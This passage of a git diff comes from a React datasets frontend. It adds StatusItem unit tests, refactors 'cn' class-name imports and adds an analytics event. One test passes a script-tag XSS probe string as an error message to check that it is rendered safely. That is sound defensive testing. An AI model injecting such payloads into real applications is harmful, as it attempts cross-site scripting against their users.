+      mockDisableDocument.mockRejectedValue(new Error('Network error'))
+      renderWithProviders(
+        <StatusItem
+          status="enabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: true })}
+          datasetId="dataset-123"
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockNotify).toHaveBeenCalledWith({
+          type: 'error',
+          message: 'common.actionMsg.modifiedUnsuccessfully',
+        })
+      })
+    })
+
+    it('should pass correct parameters to enable API', async () => {
+      // Arrange
+      renderWithProviders(
+        <StatusItem
+          status="disabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: false, id: 'test-doc-id' })}
+          datasetId="test-dataset-id"
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockEnableDocument).toHaveBeenCalledWith({
+          datasetId: 'test-dataset-id',
+          documentId: 'test-doc-id',
+        })
+      })
+    })
+
+    it('should pass correct parameters to disable API', async () => {
+      // Arrange
+      renderWithProviders(
+        <StatusItem
+          status="enabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: true, id: 'test-doc-456' })}
+          datasetId="test-dataset-456"
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockDisableDocument).toHaveBeenCalledWith({
+          datasetId: 'test-dataset-456',
+          documentId: 'test-doc-456',
+        })
+      })
+    })
+  })
+
+  // ==================== Edge Cases ====================
+  // Test boundary conditions and unusual inputs
+  describe('Edge Cases', () => {
+    it('should handle empty datasetId', () => {
+      // Arrange & Act
+      renderWithProviders(
+        <StatusItem
+          status="available"
+          scene="detail"
+          detail={createDetailProps()}
+        />,
+      )
+
+      // Assert - should render without errors
+      expect(screen.getByRole('switch')).toBeInTheDocument()
+    })
+
+    it('should handle undefined detail gracefully', () => {
+      // Arrange & Act
+      renderWithProviders(
+        <StatusItem
+          status="available"
+          scene="detail"
+          detail={undefined}
+        />,
+      )
+
+      // Assert
+      const switchEl = screen.getByRole('switch')
+      expect(switchEl).toHaveAttribute('aria-checked', 'false')
+    })
+
+    it('should handle empty string id in detail', async () => {
+      // Arrange
+      renderWithProviders(
+        <StatusItem
+          status="disabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: false, id: '' })}
+          datasetId="dataset-123"
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockEnableDocument).toHaveBeenCalledWith({
+          datasetId: 'dataset-123',
+          documentId: '',
+        })
+      })
+    })
+
+    it('should handle very long error messages', async () => {
+      // Arrange
+      const longErrorMessage = 'A'.repeat(500)
+      renderWithProviders(
+        <StatusItem status="error" errorMessage={longErrorMessage} />,
+      )
+
+      // Act - hover to show tooltip
+      const tooltipTrigger = screen.getByTestId('error-tooltip-trigger')
+      fireEvent.mouseEnter(tooltipTrigger)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText(longErrorMessage)).toBeInTheDocument()
+      })
+    })
+
+    it('should handle special characters in error message', async () => {
+      // Arrange
+      const specialChars = '<script>alert("xss")</script> & < > " \''
+      renderWithProviders(
+        <StatusItem status="error" errorMessage={specialChars} />,
+      )
+
+      // Act - hover to show tooltip
+      const tooltipTrigger = screen.getByTestId('error-tooltip-trigger')
+      fireEvent.mouseEnter(tooltipTrigger)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText(specialChars)).toBeInTheDocument()
+      })
+    })
+
+    it('should handle all status types in sequence', () => {
+      // Arrange
+      const statuses: DocumentDisplayStatus[] = [
+        'queuing', 'indexing', 'paused', 'error',
+        'available', 'enabled', 'disabled', 'archived',
+      ]
+
+      // Act & Assert
+      statuses.forEach((status) => {
+        const { unmount } = renderWithProviders(<StatusItem status={status} />)
+        const indicator = screen.getByTestId('status-indicator')
+        expect(indicator).toBeInTheDocument()
+        unmount()
+      })
+    })
+  })
+
+  // ==================== Component Memoization ====================
+  // Test React.memo behavior
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      // Assert
+      expect(StatusItem).toHaveProperty('$$typeof', Symbol.for('react.memo'))
+    })
+
+    it('should render correctly with same props', () => {
+      // Arrange
+      const props = {
+        status: 'available' as const,
+        scene: 'detail' as const,
+        detail: createDetailProps(),
+      }
+
+      // Act
+      const { rerender } = renderWithProviders(<StatusItem {...props} />)
+      rerender(
+        <QueryClientProvider client={createQueryClient()}>
+          <StatusItem {...props} />
+        </QueryClientProvider>,
+      )
+
+      // Assert
+      const indicator = screen.getByTestId('status-indicator')
+      expect(indicator).toBeInTheDocument()
+    })
+
+    it('should update when status prop changes', () => {
+      // Arrange
+      const { rerender } = renderWithProviders(<StatusItem status="available" />)
+
+      // Assert initial - green/success background
+      let indicator = screen.getByTestId('status-indicator')
+      expect(indicator).toHaveClass('bg-components-badge-status-light-success-bg')
+
+      // Act
+      rerender(
+        <QueryClientProvider client={createQueryClient()}>
+          <StatusItem status="error" />
+        </QueryClientProvider>,
+      )
+
+      // Assert updated - red/error background
+      indicator = screen.getByTestId('status-indicator')
+      expect(indicator).toHaveClass('bg-components-badge-status-light-error-bg')
+    })
+  })
+
+  // ==================== Styling Tests ====================
+  // Test CSS classes and styling
+  describe('Styling', () => {
+    it('should apply correct status text color for green status', () => {
+      // Arrange & Act
+      renderWithProviders(<StatusItem status="available" />)
+
+      // Assert
+      const statusText = screen.getByText('datasetDocuments.list.status.available')
+      expect(statusText).toHaveClass('text-util-colors-green-green-600')
+    })
+
+    it('should apply correct status text color for red status', () => {
+      // Arrange & Act
+      renderWithProviders(<StatusItem status="error" />)
+
+      // Assert
+      const statusText = screen.getByText('datasetDocuments.list.status.error')
+      expect(statusText).toHaveClass('text-util-colors-red-red-600')
+    })
+
+    it('should apply correct status text color for orange status', () => {
+      // Arrange & Act
+      renderWithProviders(<StatusItem status="queuing" />)
+
+      // Assert
+      const statusText = screen.getByText('datasetDocuments.list.status.queuing')
+      expect(statusText).toHaveClass('text-util-colors-warning-warning-600')
+    })
+
+    it('should apply correct status text color for blue status', () => {
+      // Arrange & Act
+      renderWithProviders(<StatusItem status="indexing" />)
+
+      // Assert
+      const statusText = screen.getByText('datasetDocuments.list.status.indexing')
+      expect(statusText).toHaveClass('text-util-colors-blue-light-blue-light-600')
+    })
+
+    it('should apply correct status text color for gray status', () => {
+      // Arrange & Act
+      renderWithProviders(<StatusItem status="disabled" />)
+
+      // Assert
+      const statusText = screen.getByText('datasetDocuments.list.status.disabled')
+      expect(statusText).toHaveClass('text-text-tertiary')
+    })
+
+    it('should render switch with md size in detail scene', () => {
+      // Arrange & Act
+      renderWithProviders(
+        <StatusItem
+          status="available"
+          scene="detail"
+          detail={createDetailProps()}
+        />,
+      )
+
+      // Assert - check switch has the md size class (h-4 w-7)
+      const switchEl = screen.getByRole('switch')
+      expect(switchEl).toHaveClass('h-4', 'w-7')
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/status-item/index.tsx b/web/app/components/datasets/documents/status-item/index.tsx
index 4ab7246a29..4dc062afe4 100644
--- a/web/app/components/datasets/documents/status-item/index.tsx
+++ b/web/app/components/datasets/documents/status-item/index.tsx
@@ -11,7 +11,7 @@ import type { CommonResponse } from '@/models/common'
 import { asyncRunSafe } from '@/utils'
 import { useDebounceFn } from 'ahooks'
 import s from '../style.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Tooltip from '@/app/components/base/tooltip'
 import Switch from '@/app/components/base/switch'
 import type { OperationName } from '../types'
@@ -105,6 +105,7 @@ const StatusItem = ({
             <div className='max-w-[260px] break-all'>{errorMessage}</div>
           }
           triggerClassName='ml-1 w-4 h-4'
+          triggerTestId='error-tooltip-trigger'
         />
       )
     }
diff --git a/web/app/components/datasets/external-api/external-api-modal/Form.tsx b/web/app/components/datasets/external-api/external-api-modal/Form.tsx
index 5479f8147c..9807dbf41a 100644
--- a/web/app/components/datasets/external-api/external-api-modal/Form.tsx
+++ b/web/app/components/datasets/external-api/external-api-modal/Form.tsx
@@ -4,7 +4,7 @@ import { useTranslation } from 'react-i18next'
 import { RiBookOpenLine } from '@remixicon/react'
 import type { CreateExternalAPIReq, FormSchema } from '../declarations'
 import Input from '@/app/components/base/input'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useDocLink } from '@/context/i18n'
 
 type FormProps = {
diff --git a/web/app/components/datasets/external-api/external-api-panel/index.tsx b/web/app/components/datasets/external-api/external-api-panel/index.tsx
index 990fa5fcbc..2b12417c1b 100644
--- a/web/app/components/datasets/external-api/external-api-panel/index.tsx
+++ b/web/app/components/datasets/external-api/external-api-panel/index.tsx
@@ -6,7 +6,7 @@ import {
 } from '@remixicon/react'
 import { useTranslation } from 'react-i18next'
 import ExternalKnowledgeAPICard from '../external-knowledge-api-card'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useExternalKnowledgeApi } from '@/context/external-knowledge-api-context'
 import ActionButton from '@/app/components/base/action-button'
 import Button from '@/app/components/base/button'
diff --git a/web/app/components/datasets/external-knowledge-base/connector/index.spec.tsx b/web/app/components/datasets/external-knowledge-base/connector/index.spec.tsx
index a6353a101c..667d701a92 100644
--- a/web/app/components/datasets/external-knowledge-base/connector/index.spec.tsx
+++ b/web/app/components/datasets/external-knowledge-base/connector/index.spec.tsx
@@ -16,13 +16,6 @@ jest.mock('next/navigation', () => ({
   }),
 }))
 
-// Mock react-i18next
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 // Mock useDocLink hook
 jest.mock('@/context/i18n', () => ({
   useDocLink: () => (path?: string) => `https://docs.dify.ai/en${path || ''}`,
diff --git a/web/app/components/datasets/external-knowledge-base/connector/index.tsx b/web/app/components/datasets/external-knowledge-base/connector/index.tsx
index 33f57d0b47..ec055a049f 100644
--- a/web/app/components/datasets/external-knowledge-base/connector/index.tsx
+++ b/web/app/components/datasets/external-knowledge-base/connector/index.tsx
@@ -6,6 +6,7 @@ import { useToastContext } from '@/app/components/base/toast'
 import ExternalKnowledgeBaseCreate from '@/app/components/datasets/external-knowledge-base/create'
 import type { CreateKnowledgeBaseReq } from '@/app/components/datasets/external-knowledge-base/create/declarations'
 import { createExternalKnowledgeBase } from '@/service/datasets'
+import { trackEvent } from '@/app/components/base/amplitude'
 
 const ExternalKnowledgeBaseConnector = () => {
   const { notify } = useToastContext()
@@ -18,6 +19,10 @@ const ExternalKnowledgeBaseConnector = () => {
       const result = await createExternalKnowledgeBase({ body: formValue })
       if (result && result.id) {
         notify({ type: 'success', message: 'External Knowledge Base Connected Successfully' })
+        trackEvent('create_external_knowledge_base', {
+          provider: formValue.provider,
+          name: formValue.name,
+        })
         router.back()
       }
       else { throw new Error('Failed to create external knowledge base') }
diff --git a/web/app/components/datasets/external-knowledge-base/create/RetrievalSettings.tsx b/web/app/components/datasets/external-knowledge-base/create/RetrievalSettings.tsx
index 1c43d7e6dd..a24105bfd3 100644
--- a/web/app/components/datasets/external-knowledge-base/create/RetrievalSettings.tsx
+++ b/web/app/components/datasets/external-knowledge-base/create/RetrievalSettings.tsx
@@ -3,7 +3,7 @@ import React from 'react'
 import { useTranslation } from 'react-i18next'
 import TopKItem from '@/app/components/base/param-item/top-k-item'
 import ScoreThresholdItem from '@/app/components/base/param-item/score-threshold-item'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type RetrievalSettingsProps = {
   topK: number
diff --git a/web/app/components/datasets/external-knowledge-base/create/index.spec.tsx b/web/app/components/datasets/external-knowledge-base/create/index.spec.tsx
index c315743424..7dc6c77c82 100644
--- a/web/app/components/datasets/external-knowledge-base/create/index.spec.tsx
+++ b/web/app/components/datasets/external-knowledge-base/create/index.spec.tsx
@@ -15,13 +15,6 @@ jest.mock('next/navigation', () => ({
   }),
 }))
 
-// Mock react-i18next
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 // Mock useDocLink hook
 jest.mock('@/context/i18n', () => ({
   useDocLink: () => (path?: string) => `https://docs.dify.ai/en${path || ''}`,
diff --git a/web/app/components/datasets/extra-info/service-api/card.tsx b/web/app/components/datasets/extra-info/service-api/card.tsx
index e6444d995e..7d8376f850 100644
--- a/web/app/components/datasets/extra-info/service-api/card.tsx
+++ b/web/app/components/datasets/extra-info/service-api/card.tsx
@@ -4,7 +4,7 @@ import { ApiAggregate } from '@/app/components/base/icons/src/vender/knowledge'
 import Indicator from '@/app/components/header/indicator'
 import Switch from '@/app/components/base/switch'
 import { useSelector as useAppContextSelector } from '@/context/app-context'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import CopyFeedback from '@/app/components/base/copy-feedback'
 import Button from '@/app/components/base/button'
 import { RiBookOpenLine, RiKey2Line } from '@remixicon/react'
diff --git a/web/app/components/datasets/extra-info/service-api/index.tsx b/web/app/components/datasets/extra-info/service-api/index.tsx
index af7ce946ad..cd0bdef47e 100644
--- a/web/app/components/datasets/extra-info/service-api/index.tsx
+++ b/web/app/components/datasets/extra-info/service-api/index.tsx
@@ -2,7 +2,7 @@ import React, { useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { ApiAggregate } from '@/app/components/base/icons/src/vender/knowledge'
 import Indicator from '@/app/components/header/indicator'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { PortalToFollowElem, PortalToFollowElemContent, PortalToFollowElemTrigger } from '@/app/components/base/portal-to-follow-elem'
 import Card from './card'
 
diff --git a/web/app/components/datasets/formatted-text/flavours/edit-slice.tsx b/web/app/components/datasets/formatted-text/flavours/edit-slice.tsx
index cb352eac00..17d5203e7d 100644
--- a/web/app/components/datasets/formatted-text/flavours/edit-slice.tsx
+++ b/web/app/components/datasets/formatted-text/flavours/edit-slice.tsx
@@ -6,7 +6,7 @@ import { RiDeleteBinLine } from '@remixicon/react'
 import lineClamp from 'line-clamp'
 import type { SliceProps } from './type'
 import { SliceContainer, SliceContent, SliceDivider, SliceLabel } from './shared'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import ActionButton, { ActionButtonState } from '@/app/components/base/action-button'
 
 type EditSliceProps = SliceProps<{
@@ -56,7 +56,7 @@ export const EditSlice: FC<EditSliceProps> = (props) => {
   return (
     <>
       <SliceContainer {...rest}
-        className={classNames('mr-0 block', className)}
+        className={cn('mr-0 block', className)}
         ref={(ref) => {
           refs.setReference(ref)
           if (ref)
@@ -65,26 +65,20 @@ export const EditSlice: FC<EditSliceProps> = (props) => {
         {...getReferenceProps()}
       >
         <SliceLabel
-          className={classNames(
-            isDestructive && '!bg-state-destructive-solid !text-text-primary-on-surface',
-            labelClassName,
-          )}
+          className={cn(isDestructive && '!bg-state-destructive-solid !text-text-primary-on-surface',
+            labelClassName)}
           labelInnerClassName={labelInnerClassName}
         >
           {label}
         </SliceLabel>
         <SliceContent
-          className={classNames(
-            isDestructive && '!bg-state-destructive-hover-alt',
-            contentClassName,
-          )}
+          className={cn(isDestructive && '!bg-state-destructive-hover-alt',
+            contentClassName)}
         >
           {text}
         </SliceContent>
         {showDivider && <SliceDivider
-          className={classNames(
-            isDestructive && '!bg-state-destructive-hover-alt',
-          )}
+          className={cn(isDestructive && '!bg-state-destructive-hover-alt')}
         />}
         {delBtnShow && <FloatingFocusManager
           context={context}
diff --git a/web/app/components/datasets/formatted-text/flavours/shared.tsx b/web/app/components/datasets/formatted-text/flavours/shared.tsx
index e3261aa328..e4ace4c1df 100644
--- a/web/app/components/datasets/formatted-text/flavours/shared.tsx
+++ b/web/app/components/datasets/formatted-text/flavours/shared.tsx
@@ -1,5 +1,5 @@
 import type { ComponentProps, FC } from 'react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const baseStyle = 'py-[3px]'
 
@@ -12,10 +12,8 @@ export const SliceContainer: FC<SliceContainerProps> = (
   },
 ) => {
   const { className, ...rest } = props
-  return <span {...rest} ref={ref} className={classNames(
-    'group mr-1 select-none align-bottom text-sm',
-    className,
-  )} />
+  return <span {...rest} ref={ref} className={cn('group mr-1 select-none align-bottom text-sm',
+    className)} />
 }
 SliceContainer.displayName = 'SliceContainer'
 
@@ -28,12 +26,10 @@ export const SliceLabel: FC<SliceLabelProps> = (
   },
 ) => {
   const { className, children, labelInnerClassName, ...rest } = props
-  return <span {...rest} ref={ref} className={classNames(
-    baseStyle,
+  return <span {...rest} ref={ref} className={cn(baseStyle,
     'bg-state-base-hover-alt px-1 uppercase text-text-tertiary group-hover:bg-state-accent-solid group-hover:text-text-primary-on-surface',
-    className,
-  )}>
-    <span className={classNames('text-nowrap', labelInnerClassName)}>
+    className)}>
+    <span className={cn('text-nowrap', labelInnerClassName)}>
       {children}
     </span>
   </span>
@@ -49,11 +45,9 @@ export const SliceContent: FC<SliceContentProps> = (
   },
 ) => {
   const { className, children, ...rest } = props
-  return <span {...rest} ref={ref} className={classNames(
-    baseStyle,
+  return <span {...rest} ref={ref} className={cn(baseStyle,
     'whitespace-pre-line break-all bg-state-base-hover px-1 leading-7 group-hover:bg-state-accent-hover-alt group-hover:text-text-primary',
-    className,
-  )}>
+    className)}>
     {children}
   </span>
 }
@@ -68,11 +62,9 @@ export const SliceDivider: FC<SliceDividerProps> = (
   },
 ) => {
   const { className, ...rest } = props
-  return <span {...rest} ref={ref} className={classNames(
-    baseStyle,
+  return <span {...rest} ref={ref} className={cn(baseStyle,
     'bg-state-base-active px-[1px] text-sm group-hover:bg-state-accent-solid',
-    className,
-  )}>
+    className)}>
     {/* use a zero-width space to make the hover area bigger */}
     &#8203;
   </span>
diff --git a/web/app/components/datasets/formatted-text/formatted.tsx b/web/app/components/datasets/formatted-text/formatted.tsx
index 14d339e688..8021b7090c 100644
--- a/web/app/components/datasets/formatted-text/formatted.tsx
+++ b/web/app/components/datasets/formatted-text/formatted.tsx
@@ -1,5 +1,5 @@
 import type { ComponentProps, FC } from 'react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type FormattedTextProps = ComponentProps<'p'>
 
@@ -7,6 +7,6 @@ export const FormattedText: FC<FormattedTextProps> = (props) => {
   const { className, ...rest } = props
   return <p
     {...rest}
-    className={classNames('leading-7', className)}
+    className={cn('leading-7', className)}
   >{props.children}</p>
 }
diff --git a/web/app/components/datasets/hit-testing/components/chunk-detail-modal.tsx b/web/app/components/datasets/hit-testing/components/chunk-detail-modal.tsx
index fb67089890..95070ba01f 100644
--- a/web/app/components/datasets/hit-testing/components/chunk-detail-modal.tsx
+++ b/web/app/components/datasets/hit-testing/components/chunk-detail-modal.tsx
@@ -9,7 +9,7 @@ import Modal from '@/app/components/base/modal'
 import type { HitTesting } from '@/models/datasets'
 import FileIcon from '@/app/components/base/file-uploader/file-type-icon'
 import type { FileAppearanceTypeEnum } from '@/app/components/base/file-uploader/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Tag from '@/app/components/datasets/documents/detail/completed/common/tag'
 import { Markdown } from '@/app/components/base/markdown'
 import ImageList from '../../common/image-list'
diff --git a/web/app/components/datasets/hit-testing/components/mask.tsx b/web/app/components/datasets/hit-testing/components/mask.tsx
index 799d7656b2..6f382d035a 100644
--- a/web/app/components/datasets/hit-testing/components/mask.tsx
+++ b/web/app/components/datasets/hit-testing/components/mask.tsx
@@ -1,5 +1,5 @@
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type MaskProps = {
   className?: string
diff --git a/web/app/components/datasets/hit-testing/components/query-input/index.tsx b/web/app/components/datasets/hit-testing/components/query-input/index.tsx
index 75b59fe09a..fcacbe5a7e 100644
--- a/web/app/components/datasets/hit-testing/components/query-input/index.tsx
+++ b/web/app/components/datasets/hit-testing/components/query-input/index.tsx
@@ -9,7 +9,7 @@ import Image from 'next/image'
 import Button from '@/app/components/base/button'
 import { getIcon } from '@/app/components/datasets/common/retrieval-method-info'
 import ModifyExternalRetrievalModal from '@/app/components/datasets/hit-testing/modify-external-retrieval-modal'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type {
   Attachment,
   ExternalKnowledgeBaseHitTestingRequest,
diff --git a/web/app/components/datasets/hit-testing/components/query-input/textarea.tsx b/web/app/components/datasets/hit-testing/components/query-input/textarea.tsx
index a8c6e168b5..ca48770a6a 100644
--- a/web/app/components/datasets/hit-testing/components/query-input/textarea.tsx
+++ b/web/app/components/datasets/hit-testing/components/query-input/textarea.tsx
@@ -1,7 +1,7 @@
 import type { ChangeEvent } from 'react'
 import React from 'react'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { Corner } from '@/app/components/base/icons/src/vender/solid/shapes'
 import Tooltip from '@/app/components/base/tooltip'
 
diff --git a/web/app/components/datasets/hit-testing/components/records.tsx b/web/app/components/datasets/hit-testing/components/records.tsx
index 60388b75d1..5e8facf7b3 100644
--- a/web/app/components/datasets/hit-testing/components/records.tsx
+++ b/web/app/components/datasets/hit-testing/components/records.tsx
@@ -4,7 +4,7 @@ import type { Attachment, HitTestingRecord, Query } from '@/models/datasets'
 import { RiApps2Line, RiArrowDownLine, RiFocus2Line } from '@remixicon/react'
 import { useTranslation } from 'react-i18next'
 import ImageList from '../../common/image-list'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type RecordsProps = {
   records: HitTestingRecord[]
diff --git a/web/app/components/datasets/hit-testing/components/result-item-external.tsx b/web/app/components/datasets/hit-testing/components/result-item-external.tsx
index cf8011dbeb..9fa1701cd6 100644
--- a/web/app/components/datasets/hit-testing/components/result-item-external.tsx
+++ b/web/app/components/datasets/hit-testing/components/result-item-external.tsx
@@ -6,7 +6,7 @@ import { useBoolean } from 'ahooks'
 import ResultItemMeta from './result-item-meta'
 import ResultItemFooter from './result-item-footer'
 import type { ExternalKnowledgeBaseHitTesting } from '@/models/datasets'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Modal from '@/app/components/base/modal'
 import { FileAppearanceTypeEnum } from '@/app/components/base/file-uploader/types'
 
diff --git a/web/app/components/datasets/hit-testing/components/result-item-meta.tsx b/web/app/components/datasets/hit-testing/components/result-item-meta.tsx
index 617aa77312..0406ceb033 100644
--- a/web/app/components/datasets/hit-testing/components/result-item-meta.tsx
+++ b/web/app/components/datasets/hit-testing/components/result-item-meta.tsx
@@ -5,7 +5,7 @@ import { useTranslation } from 'react-i18next'
 import { SegmentIndexTag } from '../../documents/detail/completed/common/segment-index-tag'
 import Dot from '../../documents/detail/completed/common/dot'
 import Score from './score'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   labelPrefix: string
diff --git a/web/app/components/datasets/hit-testing/components/result-item.tsx b/web/app/components/datasets/hit-testing/components/result-item.tsx
index 39682dfea6..a6ccd45bb6 100644
--- a/web/app/components/datasets/hit-testing/components/result-item.tsx
+++ b/web/app/components/datasets/hit-testing/components/result-item.tsx
@@ -8,7 +8,7 @@ import ChunkDetailModal from './chunk-detail-modal'
 import ResultItemMeta from './result-item-meta'
 import ResultItemFooter from './result-item-footer'
 import type { HitTesting } from '@/models/datasets'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { FileAppearanceTypeEnum } from '@/app/components/base/file-uploader/types'
 import Tag from '@/app/components/datasets/documents/detail/completed/common/tag'
 import { extensionToFileType } from '@/app/components/datasets/hit-testing/utils/extension-to-file-type'
diff --git a/web/app/components/datasets/hit-testing/components/score.tsx b/web/app/components/datasets/hit-testing/components/score.tsx
index 05e470b97f..008fb3a9be 100644
--- a/web/app/components/datasets/hit-testing/components/score.tsx
+++ b/web/app/components/datasets/hit-testing/components/score.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   value: number | null
diff --git a/web/app/components/datasets/hit-testing/index.tsx b/web/app/components/datasets/hit-testing/index.tsx
index e9e3b0014a..f3fedcd37c 100644
--- a/web/app/components/datasets/hit-testing/index.tsx
+++ b/web/app/components/datasets/hit-testing/index.tsx
@@ -9,7 +9,7 @@ import s from './style.module.css'
 import ModifyRetrievalModal from './modify-retrieval-modal'
 import ResultItem from './components/result-item'
 import ResultItemExternal from './components/result-item-external'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type {
   ExternalKnowledgeBaseHitTesting,
   ExternalKnowledgeBaseHitTestingResponse,
diff --git a/web/app/components/datasets/list/dataset-card/index.tsx b/web/app/components/datasets/list/dataset-card/index.tsx
index fbce38dddf..a4b3ec7d64 100644
--- a/web/app/components/datasets/list/dataset-card/index.tsx
+++ b/web/app/components/datasets/list/dataset-card/index.tsx
@@ -7,7 +7,7 @@ import { useKnowledge } from '@/hooks/use-knowledge'
 import React, { useCallback, useEffect, useMemo, useRef, useState } from 'react'
 import type { Tag } from '@/app/components/base/tag-management/constant'
 import TagSelector from '@/app/components/base/tag-management/selector'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useHover } from 'ahooks'
 import { RiFileTextFill, RiMoreFill, RiRobot2Fill } from '@remixicon/react'
 import Tooltip from '@/app/components/base/tooltip'
diff --git a/web/app/components/datasets/metadata/add-metadata-button.tsx b/web/app/components/datasets/metadata/add-metadata-button.tsx
index c34275015b..c196d77e24 100644
--- a/web/app/components/datasets/metadata/add-metadata-button.tsx
+++ b/web/app/components/datasets/metadata/add-metadata-button.tsx
@@ -3,7 +3,7 @@ import type { FC } from 'react'
 import React from 'react'
 import Button from '../../base/button'
 import { RiAddLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 
 type Props = {
diff --git a/web/app/components/datasets/metadata/base/date-picker.tsx b/web/app/components/datasets/metadata/base/date-picker.tsx
index f2bf1e4279..045847c014 100644
--- a/web/app/components/datasets/metadata/base/date-picker.tsx
+++ b/web/app/components/datasets/metadata/base/date-picker.tsx
@@ -5,7 +5,7 @@ import {
   RiCloseCircleFill,
 } from '@remixicon/react'
 import DatePicker from '@/app/components/base/date-and-time-picker/date-picker'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { TriggerProps } from '@/app/components/base/date-and-time-picker/types'
 import useTimestamp from '@/hooks/use-timestamp'
 import { useTranslation } from 'react-i18next'
diff --git a/web/app/components/datasets/metadata/edit-metadata-batch/add-row.tsx b/web/app/components/datasets/metadata/edit-metadata-batch/add-row.tsx
index 500bca335f..be5122e10d 100644
--- a/web/app/components/datasets/metadata/edit-metadata-batch/add-row.tsx
+++ b/web/app/components/datasets/metadata/edit-metadata-batch/add-row.tsx
@@ -2,7 +2,7 @@
 import type { FC } from 'react'
 import React from 'react'
 import type { MetadataItemWithEdit } from '../types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Label from './label'
 import InputCombined from './input-combined'
 import { RiIndeterminateCircleLine } from '@remixicon/react'
diff --git a/web/app/components/datasets/metadata/edit-metadata-batch/edit-row.tsx b/web/app/components/datasets/metadata/edit-metadata-batch/edit-row.tsx
index 63b43389db..c02d2afb25 100644
--- a/web/app/components/datasets/metadata/edit-metadata-batch/edit-row.tsx
+++ b/web/app/components/datasets/metadata/edit-metadata-batch/edit-row.tsx
@@ -4,7 +4,7 @@ import React from 'react'
 import { type MetadataItemWithEdit, UpdateType } from '../types'
 import Label from './label'
 import { RiDeleteBinLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import InputHasSetMultipleValue from './input-has-set-multiple-value'
 import InputCombined from './input-combined'
 import EditedBeacon from './edited-beacon'
diff --git a/web/app/components/datasets/metadata/edit-metadata-batch/input-combined.tsx b/web/app/components/datasets/metadata/edit-metadata-batch/input-combined.tsx
index fd7bb89bd3..5d07571cd1 100644
--- a/web/app/components/datasets/metadata/edit-metadata-batch/input-combined.tsx
+++ b/web/app/components/datasets/metadata/edit-metadata-batch/input-combined.tsx
@@ -4,7 +4,7 @@ import React from 'react'
 import { DataType } from '../types'
 import Input from '@/app/components/base/input'
 import { InputNumber } from '@/app/components/base/input-number'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Datepicker from '../base/date-picker'
 
 type Props = {
diff --git a/web/app/components/datasets/metadata/edit-metadata-batch/input-has-set-multiple-value.tsx b/web/app/components/datasets/metadata/edit-metadata-batch/input-has-set-multiple-value.tsx
index 1e6d457989..4eb03fee38 100644
--- a/web/app/components/datasets/metadata/edit-metadata-batch/input-has-set-multiple-value.tsx
+++ b/web/app/components/datasets/metadata/edit-metadata-batch/input-has-set-multiple-value.tsx
@@ -3,7 +3,7 @@ import { RiCloseLine } from '@remixicon/react'
 import type { FC } from 'react'
 import React from 'react'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   onClear: () => void
diff --git a/web/app/components/datasets/metadata/edit-metadata-batch/label.tsx b/web/app/components/datasets/metadata/edit-metadata-batch/label.tsx
index a6d134d8f5..c73ea1262b 100644
--- a/web/app/components/datasets/metadata/edit-metadata-batch/label.tsx
+++ b/web/app/components/datasets/metadata/edit-metadata-batch/label.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   isDeleted?: boolean,
